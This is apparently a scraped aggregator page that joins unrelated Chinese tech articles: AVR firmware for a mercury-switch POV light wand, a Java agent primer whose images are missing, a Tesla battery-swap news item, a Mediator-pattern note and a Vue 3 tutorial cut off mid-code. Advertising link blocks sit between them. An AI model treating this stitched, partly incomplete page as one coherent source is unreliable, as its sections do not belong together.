定時器中斷有兩項職責,一是維護一個時鐘,每一周期增加1,可重置,主要用於水銀開關周期檢測;二是調用上層的回調函數timer_handler,驅動中僅聲明為extern(另一種方法是通過函數指針註冊回調)。

#include <avr/io.h>
#include <avr/interrupt.h>

static uint16_t tick = 0;

ISR(TIMER2_COMPA_vect)
{
    ++tick;
    timer_handler();
}

void timer_init()
{
    if (0)
        TIMER2_COMPA_vect();
    TCCR2A = 0b10 << WGM20;
    TCCR2B = 0 << WGM22 | 0b010 << CS20;
    OCR2A = 249;
    TIMSK2 = 1 << OCIE2A;
    sei();
}

void clock_reset()
{
    tick = 0;
}

uint16_t clock_get()
{
    return tick;
}

 

應用程序

驅動封裝了硬件操作,而用戶只想關心显示什麼內容,兩者之間還需要插入一層,這一層主要實現運動周期檢測,並在周期中合適的時刻根據用戶提供的數據進行显示。

兩層之間用回調函數和配置信息耦合。回調函數包括定時器回調、按鍵事件回調與圖像更新回調;配置信息定義如下:

typedef struct
{
    uint8_t width;
    uint8_t height_byte;
    const uint8_t* display;
    uint8_t in_flash : 1;
    uint8_t bright;
    uint8_t color;
    uint8_t rgbw;
} Config;

display指向點陣數據,共width * height_byte字節,每height_byte字節表示一列,RGBW另存。

客戶通過set_config函數更新配置,Config參數被立即拷貝到一個特定的位置,但不會立即應用於显示,而是等待當前显示周期(即運動周期)結束,在下次更新中應用,簡而言之配置被緩衝了。

 

在C語言中,即使一個數組聲明為const,它也存放在RAM中,但是ATmega328P只有2k字節RAM,显示的字數很多的話會放不下。AVR編程中可以用PROGMEM宏指定數據存放在flash中,in_flash即表示點陣是否存儲在flash中。

#include <stdint.h>
#include <avr/pgmspace.h>

static const uint8_t jiayou[] PROGMEM =
{
    0x00, 0x00, 0x00, 0x40, 0x00, 0x40, 0x40, 0x00, 0x20, 0x40, 0x00, 0x18,
    0x40, 0x00, 0x07, 0x40, 0xF8, 0x09, 0xFE, 0x1F, 0x08, 0x40, 0x00, 0x10,
    0x40, 0x00, 0x30, 0x40, 0x00, 0x18, 0xC0, 0xFF, 0x0F, 0xC0, 0x07, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0x7F, 0x40, 0x00, 0x08,
    0x40, 0x00, 0x08, 0x40, 0x00, 0x08, 0x40, 0x00, 0x08, 0x40, 0x00, 0x08,
    0xC0, 0xFF, 0x3F, 0x40, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x01, 0x02, 0x00, 0x07, 0x72,
    0x08, 0x06, 0x7F, 0x18, 0xE0, 0x01, 0x10, 0x18, 0x00, 0x00, 0x07, 0x00,
    0xC0, 0x00, 0x00, 0xC0, 0xFF, 0x7F, 0xC0, 0xFF, 0x7F, 0x40, 0x20, 0x10,
    0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0xFE, 0xFF, 0x1F, 0xFE, 0xFF, 0x1F,
    0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0x40, 0x20, 0x10, 0xC0, 0xFF, 0x7F,
    0xC0, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

(點陣數據可用PCtoLCD2002生成;原諒我用拼音命名變量。)

指向flash中數據的指針與普通指針相同,但是不能直接解引用,要先用memcpy_P函數拷貝到RAM中:

memcpy_P(display.current, display.ptr + display.phase * display.height_byte, display.height_byte);

並不是所有點陣數據都放在flash中,比如程序還可以通過藍牙接收數據,把它寫進flash就太麻煩了。

 

程序結構為,先執行初始化,包括硬件與變量,然後進入死循環,保持程序運行。初始化的最後是啟動定時器,隨後定時器會每0.1ms產生一次中斷,所有實際工作都在中斷中完成。

int main()
{
    startup();
    while (1)
        ;
}

 

周期檢測

那時做完第一版發了個朋友圈,就有人問這個問題:

的確,周期檢測是搖搖棒的難點(對於那些問我“把搖搖棒放在桌上不動能不能显示”的人就不是了),是我寫第一版甚至第二版的程序時唯一心慌的地方。雖然免去了為MPU6050寫I²C驅動的煩惱,但5毛錢的水銀開關也自有麻煩之處。讓我們來一探究竟吧!

 

水銀開關電路的輸出信號首先要經過濾波,這是驅動層封裝好的:

typedef enum
{
    MERCURY_NONE, MERCURY_LEFT, MERCURY_RIGHT
} mercury_event_t;

static bool status;
static uint16_t count = 0;

static inline bool mercury_read()
{
    return !read_bit(PINB, 0);
}

void mercury_init()
{
    status = mercury_read();
}

mercury_event_t mercury_get()
{
    bool now = mercury_read();
    if (now == status)
        count = 0;
    else if (++count == 100)
    {
        status = now;
        count = 0;
        return now ? MERCURY_RIGHT : MERCURY_LEFT;
    }
    return MERCURY_NONE;
}

 

然後就是算法的主體部分。算法可以用狀態機描述,只有穩定與不穩定兩個狀態,用stable變量表示,初始值為falseperiod為上一周期的長度,單位為定時器周期即0.1ms,是兩個狀態共用的;計數器count在兩個狀態中有不同的含義,但共用一個變量。

算法只監聽水銀珠從右到左這一事件,大致上是棒從右到左經過中點。定義局部變量uint16_t clock = clock_get();,表示當前周期已經持續的時間。大多數分支都會調用clock_reset複位時鐘,並在使用完clock后把它寫為0,標志著新的周期開始。

在不穩定狀態中,要想進入穩定狀態,必須連續若干次滿足以下條件:本次周期長度大於前一周期的0.5倍並且小於1.5倍。count記錄這一條件成立的次數,一旦某一次條件不成立則清零,並把period更新為當前周期長度。目標次數被設置為2。

在穩定狀態中,根據周期長度分3類討論:

  1. 周期長度大於等於前一周期的0.75倍並且小於1.5倍,這意味着當前周期和上一周期差不多長,用戶在穩定地搖動。把period設為兩個周期的平均值,這樣可以允許周期緩慢變化。

  2. 周期長度小於0.75倍,這可能是噪音導致的,應該忽略,不複位時鐘。但是這種情況連續出現很多次就不對了,用count記錄次數,達到一定值時要進入不穩定狀態。這個值被設置為2。

  3. 周期長度大於等於1.5倍,用戶停止了搖動,直接進入不穩定狀態。事實上停止搖動后LED還會閃一下,因為不免存在抖動,導致程序又判定出一個周期。

測試過程中發現,如果突然把搖動頻率翻倍,由於有第2個分支的存在,算法會把兩個周期判定為一個;有時剛開始搖動就會這樣。解決這個問題需要在分支1和2中動點手腳:用half_flag表示分支1中clock是否是period的一半,具體來講是3/8到5/8;half_count表示連續出現“一周期中進入分支1一次且half_flag為真”的次數。當half_count達到2時就可以認為算法進入了錯誤的狀態,需要減半period以恢復正常。

bool stable;
uint16_t period;
uint8_t count;
bool half_flag;
uint8_t half_count;

void timer_handler()
{
    // ...
    uint16_t clock = clock_get();
    if (mercury_get() == MERCURY_LEFT)
    {
        if (stable)
        {
            if (clock < period * 3 / 4)
            {
                if (++count == 2)
                {
                    stable = false;
                    count = 0;
                }
                if (period * 3 / 8 < clock && clock < period * 5 / 8)
                {
                    half_flag = true;
                }
            }
            else if (clock < period * 3 / 2)
            {
                clock_reset();
                if (count == 1 && half_flag)
                {
                    if (++half_count == 2)
                    {
                        half_count = 0;
                        clock = 0;
                    }
                }
                else
                {
                    half_count = 0;
                }
                period = (period + clock) / 2;
                count = 0;
                half_flag = false;
                clock = 0;
            }
            else
            {
                stable = false;
                count = 0;
            }
        }
        else
        {
            clock_reset();
            if (period / 2 < clock && clock < period * 3 / 2)
            {
                if (++count == 2)
                {
                    stable = true;
                    period = (period + clock) / 2;
                    count = 0;
                    half_flag = false;
                    half_count = 0;
                    clock = 0;
                }
            }
            else
            {
                period = clock;
                count = 0;
            }
        }
    }
    // ...
}

 

知道了周期長度與起始時刻,也就知道了每一時刻在周期中的位置。一個周期的3/8到5/8,也就是從左到右中間的部分,可以显示圖像,显示的列隨clock均勻變化,由於中間段接近勻速,显示的圖像是比較均勻的。

為什麼不在從右到左過程中显示呢?因為周期起始的位置並不精確地是正中間,還受周期、重力和手的影響,取3/8到5/8而不是1/4到3/4就包含對這些因素的考量。如果在相差半個周期的位置也显示的話,兩幅圖像肯定無法重合,即使動態調整位置也無濟於事。

 

性能優化

也許你已經注意到,上面的代碼中從未出現過int,只有uint8_tuint16_t等確定長度的整數類型。這樣做可以帶來可移植性,更重要的是AVR作為8位單片機對整數長度十分敏感,能用8位就不要用16位。

mega系列有雙周期硬件乘法器,但沒有硬件除法器,除數確定的除法編譯器會轉化為乘法來計算,不確定的就只能調用除法路徑了。這種除法偶爾算一次還行,每個定時器周期都算就會嚴重拖慢速度,比如這句判斷是否該切換列的語句:

if (clock == period * 3 / 8 + (uint32_t)period * phase / width / 4)
    // ...

要加uint32_t轉換是因為perioduint16_t類型,整數提升成unsigned intint是16位整型),計算結果為unsigned類型,但實際乘積會溢出,就不得不轉換成更長的long。這下可好,每周期計算32位整數除法,同時觸犯兩條禁忌。

我的性能優化就從這裏入手,逐漸擴展到所有計算過程不太簡單但不常變化的量,它們都存儲在結構體compute中:

struct
{
    uint16_t threshold_low;
    uint16_t threshold_high;
    uint16_t half_low;
    uint16_t half_high;
    uint16_t clock_base;
    uint16_t clock_step;
    uint16_t clock_compare;
    uint16_t green_step;
    uint16_t blue_step;
    uint8_t rgbw_duty;
} compute;

clock開頭的三個變量就是用來優化前述語句的。在显示周期開始,即clock == 0時,先計算:

compute.clock_base = motion.period * 3 / 8;
compute.clock_step = motion.period / display.width;
compute.clock_compare = compute.clock_base;

compute.clock_compare就是if中與clock比較的值。在display.phase增加后,需要重新計算compute.clock_compare的值,其中除以4是可以接受的計算:

compute.clock_compare = compute.clock_base + compute.clock_step * display.phase / 4;

你也許會問,為什麼不把除以4放進compute.clock_step的計算中?考慮誤差較大的情況:motion.period == 2047, display.width == 128compute.clock_step比理想值小了6.2%,圖像的寬度將壓縮為原來的93.8%;如果把除以4放進去,誤差會達到25.0%,這就比較嚴重了。

轉換為uint32_t先乘后除無疑是更加精準的,優化後由於整數除法只能得到整數結果而產生了更大的誤差,因此這裏的性能優化與編譯器優化還不同:編譯器要遵守“as-if”規則,而我是在用可接受的精度下降換取可觀的速度提升。

利用超綱的手段(藍牙),我得知優化前定時器中斷的執行時間超過了定時器周期的80%,優化後下降到了40%以下(都是-O3),性能提升十分明顯。擠出來的計算資源將會在下篇中派上用場。

 

一個相似的例子是漸變色模式中LED亮度(對應PWM占空比)的計算。原來的計算式為:

duty = led.green * phase / width;

優化以後為:

compute.green_step = (led.green << 8) / (display.width - 1);
duty = (compute.green_step * phase) >> 8;

如果不左移8位直接除,因為有整數除法的誤差,显示效果將是瞬變而不是漸變,所以我要先左移8位再右移8位,這與上面的除以4是類似的,只是更加顯式。

我的重點不在移位的藝術性上。請你看看優化后的第一個語句有什麼問題,已知三個變量的類型分別為uint16_tuint8_tuint8_t

點擊展開答案

led.green在移位運算中被提升為int(而不是unsigned),移位運算結果為int類型,除法運算結果亦為int類型。當led.green >= 128時,除法結果為負數,賦給無符號的compute.green_step,變成無符號數與phase相乘再移位。我搞不清楚結果是個什麼東西,反正显示效果不是漸變色。

解決方法很簡單,把led.green轉換成uint16_t再參与運算即可。發現這個問題花了我一個小時,真是成也摳門敗也摳門啊!

 

下期預告

另一端的效果圖見文首。

 

後記

本文中的周期檢測算法能實現其功能,並具有一定容錯與自恢復能力,但是還不完美。

即使算法能從雙倍周期中恢復出來,半速显示仍會持續至少2個理論周期,或4個實際周期。從觀賞者的角度上看,半速显示是相當醜陋的——翻轉、拉伸、邊緣畸變、交疊,可謂集大成者。有趣的是,這種自恢復是我在寫作本文期間才想到並應用的;此前我給用戶提供的對策是按下按鍵以重置算法,然而矛盾的是用戶如果要給別人展示,自己就看不到显示效果,也就無從得知這種錯誤,只會讓觀賞者覺得我是個遜仔。

這個問題也許可以歸結於性能與容錯性的權衡:要允許噪音,就必須接受短暫的半速显示。

權衡歸權衡,真正的缺陷依然存在:算法允許穩定以後周期內出現噪音,但是如果每個周期內都有噪音,也就無法進入穩定狀態,但是信號的周期仍客觀存在。其實噪音很大程度上來源於濾波沒有濾乾淨,但濾波中的時間閾值也不能設置地太高,如果要把這種噪音留到濾波后級去解決,我就不知道該怎麼辦了。

 

和搖搖棒一樣利用POV原理的還有旋轉燈,你可以在淘寶用“旋轉 POV”關鍵字搜索。旋轉燈可以說是升級版的搖搖棒,電機代替了手,無線輸電代替了電池,显示效果也上了有一個檔次,甚至可以柱面、球面显示。不過作為靈魂的水銀開關被磁傳感器替代了,所以我感覺旋轉燈的編碼難度不會高於搖搖棒,難度更偏向於硬件設計。

前两天看到一篇微信推送,視頻里出現4根棒組成的便攜式旋轉燈,甚至有旋轉燈陣列組成的屏幕,評論區直呼看不懂,我直呼羡慕。

旋轉燈局限於面显示(球面也是面),而光立方能增加一個維度,是真正的立體显示。光立方是靜態的,唯一動的部分大概就是動態掃描了,沒有一點難度,只是焊接太累了。正因工作量大且效果花哨,送給女朋友非常合適,這一點我已經驗證過了。

光立方的致命缺陷在於分辨率低,難以提高LED數量的根本原因在於它是三維的。搖搖棒是一維的,動起來以後成為二維,不難想象二維的運動起來可以變成三維——我還真在網上見過把光立方的一個面轉起來的,分辨率與維數兼得。

這些東西記在這裏,給讀者拓寬眼界,也給我自己種棵草。

 

我沒有仔細看過別人的搖搖棒設計,在第二版的設計、裝配、編程過程中甚至沒有以“搖搖棒”為關鍵字搜索過,一方面因為網上大多都是我不會的51,另一方面我不喜歡讀別人的單片機代碼,這與51的擴展語法脫不了干係,更重要的是我覺得那些都是上個世代的代碼——我的第一版搖搖棒的程序竟然是用C++14寫的!更誇張的是,回調用的是std::vector<std::function<void()>>,後來還逐漸演化為C#中event的類似物。事實上,AVR工具鏈並沒有C++的標準庫,這兩個類模板是我自己實現的。

那時年幼無知,不懂得謙虛,包括對人與對單片機。

 

文章寫完了。除了前言和後記差強人意以外,中間的技術介紹完全就是半吊子——有所涉及,卻無法深入。譬如LED的電路,我本應詳細介紹595與PWM及其背後的思想;又譬如周期檢測,我本應帶領讀者一步一步實現這個算法。所以我只能更改本文的目標,把完整清晰地介紹搖搖棒下調為僅供讀者觀賞(如果你有意深入了解我的搖搖棒,可以後台聯繫我),甚至連這個小目標都達不到。

或許搖搖棒的材料更適合用於講座或視頻,文字這一形式對表達有所限制,然而高手不應該被表達形式限制,所以歸根結底是我太菜了。

 

不知怎的,完成了碼量是前一版幾倍的項目外加一篇博客,收穫感甚至比不上許久以前就着別人的博客實現出一個std::function。可能是這個項目對於目前的我過於簡單,這當然是件值得欣喜的事;或者,

是因為高考臨近了吧。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

Java Agent(上)

1、java agent是什麼?

—》對用戶透明,不侵入用戶業務代碼。讓java虛擬機加載agent jar

2、java agent有什麼用?

—>應用場景例如:調用鏈追蹤項目,在用戶無感知的情況下,記錄日誌。目前業內使用該技術的有,SkyWalking,Pinpoint(這個監控的粒度更小)

-各個 Java IDE 的調試功能,例如 eclipse、IntelliJ ;

-熱部署功能,例如 JRebel、XRebel、 spring-loaded;

-各種線上診斷工具,例如 Btrace、Greys,還有阿里的 Arthas;

-各種性能分析工具,例如 Visual VM、JConsole 等

3、java agent的實現原理?

https://zhuanlan.zhihu.com/p/147375268

4、 入門案例

4.1、 如何製造自己第一個java agent jar包

4.1.1、 第一步:我們需要一個插件來幫助我們生成帶特定格式的MAINIFEST.MF的jar

4.1.2、 第二步:在啟動項目的時候,在jvm參數中添加 -javaagent: *\ving-agent-0.0.1-SNAPSHOT.jar (在jvm上先加載agent包)

(偷偷地問)特定格式的MAINIFEST.MF是怎樣的?需要包括下面的內容

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: cn.think.in.java.clazz.loader.asm.agent.PreMainTraceAgent

(再偷偷地問),難度每次都讓我手動去弄這個文件,我覺得很麻煩呀,有沒一個工具能幫我們將agent項目打包成包含MAINIFEST.MF的jar?
—–》對,你猜對了,真的有這個工具。那就是maven插件。(說到打包,肯定要想到maven或者gradle了吧)

            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Project-name>${project.name}</Project-name>
                            <Project-version>${project.version}</Project-version>
                            <Premain-Class>com.tuling.agent.Agent</Premain-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            <Boot-Class-Path>javassist-3.18.1-GA.jar</Boot-Class-Path>
                        </manifestEntries>
                    </archive>
                    <skip>true</skip>
                </configuration>
            </plugin>

插件

打包之後

測試

問題二:如果有一個類已經被虛擬機加載了,那麼我們的agent包裏面的邏輯就不能加載這個類。但是我就是想把這類替換掉,怎麼辦呢?(熱更新,虛擬機不停的情況下,替換成用戶最新的代碼)

插件

agent代碼的修改

重新打包

測試

問題三:
當JVM已裝置某個類,但是我們想重新走一次premain方法,我們怎樣做呢?
插件

修改agent代碼

打包

測試

思考

看到這裏,細心的朋友,可能會帶有疑問,我在實踐的時候,發現這個類的字節碼的生成並不簡單,如果讓我自己去手動去生成那就很麻煩呀?(麻煩–》複雜度高—》容易出錯—-》上線容易出問題—》那就直接不考慮該技術)
—-》為了解決這個問題,java-ssist就出現了。關於java-ssist,請點擊。

https://www.cnblogs.com/vingLiu/p/13193517.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

Tesla 將啟用 Model S 電池自動交換站 過程只需 90 秒

  漫長的充電時間為電動車推廣的一大問題,而美國電動汽車公司特斯拉(Tesla )在 1 年前公佈該公司的自動電池交換站(automated battery swap stations)的構想,終於將在下週與大家見面。   電動車漫長的充電時間,經常讓消費者卻步,Tesla 為了解決這個問題,乾脆讓電池用「換」的。特斯拉的官方部落格中公告,該公司將邀請位於美國舊金山以及洛杉磯的 Model S 使用者,參與測試他們的自動電池交換站。   在現場示範的影片中,電池交換過程使用了約花費 90 秒的時間,但特斯拉之後為 Model S 換上更堅固的鋁製偏轉板和鈦製底盤防護罩,兩者的組合將能有效防止電池刺穿或是由路面雜物所造成的危險情況,使得時間增加至 3 分鐘左右。   目前使用特斯拉的快速充電站(Supercharger)充電不收費,自動電池交換站需收費 60 至 80 美元,且前往更換電池之前須先預約。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

設計模式系列之中介者模式(Mediator Pattern)——協調多個對象之間的交互

說明:設計模式系列文章是讀劉偉所著《設計模式的藝術之道(軟件開發人員內功修鍊之道)》一書的閱讀筆記。個人感覺這本書講的不錯,有興趣推薦讀一讀。詳細內容也可以看看此書作者的博客https://blog.csdn.net/LoveLion/article/details/17517213

模式概述

很多在一線城市漂泊的朋友或多或少都會遇到租房的難題,你是怎樣找到物美價廉的房子的呢,可以在評論區分享經驗哦。相信大多數小夥伴是通過中介找房子的,實話說,通過中介,只要說出你的預算以及大致需求(比如單間帶獨衛朝南大卧室帶陽台等),中介會快速提供符合你情況房源。這裏可以看出,中介者協調了房東與租客之間錯綜複雜的關係,將一個網狀的關係結構變成一個以中介者為中心的星形結構,讓多對多的關係更容易維護。

未引入中介者,對象之間(這些對象稱為同事對象,它們之間通過彼此的相互作用實現系統的行為)的關係圖如下所示:

引入中介者可以使對象之間的關係數量急劇減少。在這個星形結構中,對象不再直接與另一個對象聯繫,它通過中介者對象與另一個對象發生相互作用。

模式定義

如果在一個系統中對象之間存在多對多的相互關係,我們可以將對象之間的一些交互行為從各個對象中分離出來,並集中封裝在一个中介者對象中,並由該中介者進行統一協調,這樣對象之間多對多的複雜關係就轉化為相對簡單的一對多關係。通過引入中介者來簡化對象之間的複雜交互,中介者模式是“迪米特法則”的一個典型應用。

中介者模式(Mediator Pattern):用一个中介對象(中介者)來封裝一系列的對象交互,中介者使各對象不需要顯式地相互引用,從而使其耦合鬆散,而且可以獨立地改變它們之間的交互。中介者模式又稱為調停者模式,它是一種對象行為型模式。

模式結構圖

在中介者模式中,引入了用於協調其他對象/類之間相互調用的中介者類,為了讓系統具有更好的靈活性和可擴展性,通常還提供了抽象中介者,其結構圖如下圖所示:

在中介者模式結構圖中包含如下幾個角色:

  • Mediator(抽象中介者):它定義一個接口,該接口用於與各同事對象之間進行通信。

  • ConcreteMediator(具體中介者):它是抽象中介者的子類,通過協調各個同事對象來實現協作行為,它維持了對各個同事對象的引用。

  • Colleague(抽象同事類):它定義各個同事類公有的方法,並聲明了一些抽象方法來供子類實現,同時它維持了一個對抽象中介者類的引用,其子類可以通過該引用來與中介者通信。

  • ConcreteColleague(具體同事類):它是抽象同事類的子類;每一個同事對象在需要和其他同事對象通信時,先與中介者通信,通過中介者來間接完成與其他同事類的通信;在具體同事類中實現了在抽象同事類中聲明的抽象方法。

中介者模式的核心在於中介者類的引入,在中介者模式中,中介者類承擔了兩方面的職責:

(1) 中轉作用(結構性):通過中介者提供的中轉作用,各個同事對象就不再需要顯式引用其他同事,當需要和其他同事進行通信時,可通過中介者來實現間接調用。該中轉作用屬於中介者在結構上的支持。

(2) 協調作用(行為性):中介者可以更進一步的對同事之間的關係進行封裝,同事可以一致的和中介者進行交互,而不需要指明中介者需要具體怎麼做,中介者根據封裝在自身內部的協調邏輯,對同事的請求進行進一步處理,將同事成員之間的關係行為進行分離和封裝。該協調作用屬於中介者在行為上的支持。

模式偽代碼

典型的抽象中介者類、抽象同事類典型代碼如下:

// 抽象中介者類
public abstract class Mediator {
    // 用於存儲同事對象
    protected List<Colleague> colleagues = new ArrayList<>();

    // 註冊方法,用於增加同事對象
    public void register(Colleague colleague) {
        colleagues.add(colleague);
    }

    // 聲明抽象的業務方法
    public abstract void operation();
}

// 抽象同事類
public abstract class Colleague {
    // 維持一個抽象中介者的引用
    protected Mediator mediator;

    public Colleague(Mediator mediator) {
        this.mediator = mediator;
    }

    // 聲明自身方法,處理自己的行為
    public abstract void method1();

    // 定義依賴方法,與中介者進行通信
    public void method2() {
        mediator.operation();
    }
}

具體中介者類、具體同事類實現這些抽象方法,典型代碼如下:

// 具體同事類
public class ConcreteColleague extends Colleague {

    public ConcreteColleague(Mediator mediator) {
        super(mediator);
    }
    
    @Override
    public void method1() {
        // 實現自身方法
    }
}

// 具體中介者類
public class ConcreteMediator extends Mediator {
    @Override
    public void operation() {
        // 通過調用同事類的方法,並增加其他業務邏輯來控制同事之間的交互
    }
}

模式應用

待完善…

模式總結

中介者模式將一個網狀的系統結構變成一個以中介者對象為中心的星形結構,在這個星型結構中,使用中介者對象與其他對象的一對多關係來取代原有對象之間的多對多關係。中介者模式在事件驅動類軟件中應用較為廣泛,特別是基於GUIGraphical User Interface,圖形用戶界面)的應用軟件,此外,在類與類之間存在錯綜複雜的關聯關係的系統中,中介者模式都能得到較好的應用。

主要優點

(1) 中介者模式簡化了對象之間的交互,它用中介者和同事的一對多交互代替了原來同事之間的多對多交互,一對多關係更容易理解、維護和擴展,將原本難以理解的網狀結構轉換成相對簡單的星型結構。

(2) 中介者模式可將各同事對象解耦。中介者有利於各同事之間的松耦合,我們可以獨立的改變和復用每一個同事和中介者,增加新的中介者和新的同事類都比較方便,更好地符合“開閉原則”。

(3) 可以減少子類生成,中介者將原本分佈於多個對象間的行為集中在一起,改變這些行為只需生成新的中介者子類即可,這使各個同事類可被重用,無須對同事類進行擴展。

主要缺點

中介者類中包含了大量同事之間的交互細節,可能會導致具體中介者類非常複雜,使得系統難以維護。

適用場景

(1) 系統中對象之間存在複雜的引用關係,系統結構混亂且難以理解。

(2) 一個對象由於引用了其他很多對象並且直接和這些對象通信,導致難以復用該對象。

(3) 想通過一个中間類來封裝多個類中的行為,而又不想生成太多的子類。可以通過引入中介者類來實現,在中介者中定義對象交互的公共行為,如果需要改變行為則可以增加新的具體中介者類。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

vue3 全家桶體驗

前置

從創建一個簡單瀏覽器導航首頁項目展開,該篇隨筆包含以下內容的簡單上手

  • vite
  • vue3
  • vuex4
  • vue-router next

預覽效果有助於理清這些內容,限於篇幅,不容易展開敘述。由於項目邏輯簡單,只使用了少量 API,我只是寫這個小項目過把手癮,所以對應標題 上手。如果您只是想學習 vue 周邊的 API,那麼,這篇文章將給您帶來有限的知識。

初始化項目

使用 vite 初始化 vue3 項目。什麼是 vite?Vite 是一個 Web 構建工具。開發過程中通過瀏覽器 ES Module 導入為您的代碼提供服務,生成環境與 Rollup 捆綁在一起進行打包。

特性:

  • 閃電般快速的冷服務器啟
  • 動即時熱模塊更換(HMR)
  • 真正的按需編譯

vite 截至今天支持的功能:

  • Bare Module Resolving
  • Hot Module Replacement
  • TypeScript
  • CSS / JSON Importing
  • Asset URL Handling
  • PostCSS
  • CSS Modules
  • CSS Pre-processors
  • JSX
  • Web Assembly
  • Inline Web Workers
  • Custom Blocks
  • Config File
  • HTTPS/2
  • Dev Server Proxy
  • Production Build
  • Modes and Environment Variables
npm init vite-app aweshome
npm install
npm run dev
npm run build

最終生成的目錄結構與使用 vue-cli 相似:

│  .npmignore
│  a.txt
│  index.html
│  package.json
├─public
│      favicon.ico
└─src
    │  App.vue
    │  index.css
    │  main.js
    ├─assets
    │      logo.png
    └─components
            HelloWorld.vue

可以在項目根目錄下創建 vite.config.js 配置 Vite:

module.exports = {
  // 導入別名
  // 這些條目可以是精確的請求->請求映射*(精確,無通配符語法)
  // 也可以是請求路徑-> fs目錄映射。 *使用目錄映射時
  // 鍵**必須以斜杠開頭和結尾**
  alias: {
    // 'react': '@pika/react',
    // 'react-dom': '@pika/react-dom'
    // '/@foo/': path.resolve(__dirname, 'some-special-dir'),
  },
  // 配置Dep優化行為
  optimizeDeps: {
    // exclude: ['dep-a', 'dep-b'],
  },
  // 轉換Vue自定義塊的功能。
  vueCustomBlockTransforms: {
    // i18n: src => `export default Comp => { ... }`,
  },
  // 為開發服務器配置自定義代理規則。
  proxy: {
    // proxy: {
    //   '/foo': 'http://localhost:4567/foo',
    //   '/api': {
    //     target: 'http://jsonplaceholder.typicode.com',
    //     changeOrigin: true,
    //     rewrite: path => path.replace(/^\/api/, ''),
    //   },
    // },
  },
  // ...
}

更多配置可以參考Github。

另外,現在可以使用 vitepress 代替原來的 vuepress 構建文檔或博客。

vue-router next

npm i vue-router@next

src/router/index.js

import {createRouter, createWebHistory} from 'vue-router'
import Home from '../components/home/Home.vue'
import Cards from '../components/cards/Cards.vue'

const router = createRouter({
  history: createWebHistory(),
  routes: [
    // route -> routes
    {
      path: '/',
      name: 'home',
      component: Home,
    },
    {
      path: '/cards',
      name: 'cards',
      component: Cards,
    },
  ],
})

export default router

vue router next 還添加了動態路由,解決規則衝突的問題。做過權限管理應該深有體會。更多配置可以參考 Github。

vuex4

使用與 vuex3 相同的 API。

安裝

npm i vuex@next

src/constants 下存放了靜態數據,它們都是如下形式:

export const vue = [
  {
    title: 'vue',
    desc: 'Vue 是用於構建用戶界面的漸進式的框架',
    link: 'https://cn.vuejs.org/v2/guide/',
    img: import('../assets/images/vue.png'), // require -> import
  },
  {
    title: 'vue Router',
    desc: 'Vue Router 是 Vue.js 官方的路由管理器。',
    link: 'https://router.vuejs.org/zh/',
    img: import('../assets/images/vue.png'),
  },
  // ...
]

src/store/index.js

import {createStore} from 'vuex'

import {vue, react, wechat, across, compileBuild} from '../constants/docs'
import {frontEndTools, OfficeTools} from '../constants/tools'
import {tools, docs, community} from '../constants/asideData'
import {blogs} from '../constants/community'

const store = createStore({
  state: {
    asideData: [],
    mainData: [],
  },
  mutations: {
    setAsideData(state, key) {
      const asideActions = {
        '2': tools,
        '3': docs,
        '4': community,
      }
      state.asideData = asideActions[key]
    },
    setMainData(state, menuItemText) {
      const actions = new Map([
        ['前端工具', frontEndTools],
        ['辦公工具', OfficeTools],
        ['vue', vue],
        ['react', react],
        ['微信開發', wechat],
        ['跨端框架', across],
        ['編譯構建', compileBuild],
        ['博客', blogs],
      ])
      state.mainData = actions.get(menuItemText)
    },
  },
  actions: {},
  modules: {},
})

export default store

main.js

結合上文的 vuex vue-router 可以看出,vue3 核心插件的 api 都做了簡化。

import './index.css'
import {createApp} from 'vue'
import store from './store'
import App from './App.vue'
import router from './router'

const app = createApp(App)

app.use(store)
app.use(router)
app.mount('#app')

sass

npm i sass

package.json > dependencies

{
  "dependencies": {
    "vue": "^3.0.0-beta.15",
    "vue-router": "^4.0.0-alpha.13",
    "vuex": "^4.0.0-beta.2"
  },
  "devDependencies": {
    "@vue/compiler-sfc": "^3.0.0-beta.15",
    "sass": "^1.26.8",
    "vite": "^1.0.0-beta.1"
  }
}

components

這個小項目本質上可以只有一個頁面 .vue 構成,我將它拆分,便於閱讀。

App.vue

<template>
  <Header />
  <main>
    <router-view></router-view>
  </main>
  <Footer />
</template>

<script>
import Header from './components/Header.vue'
import Footer from './components/Footer.vue'

export default {
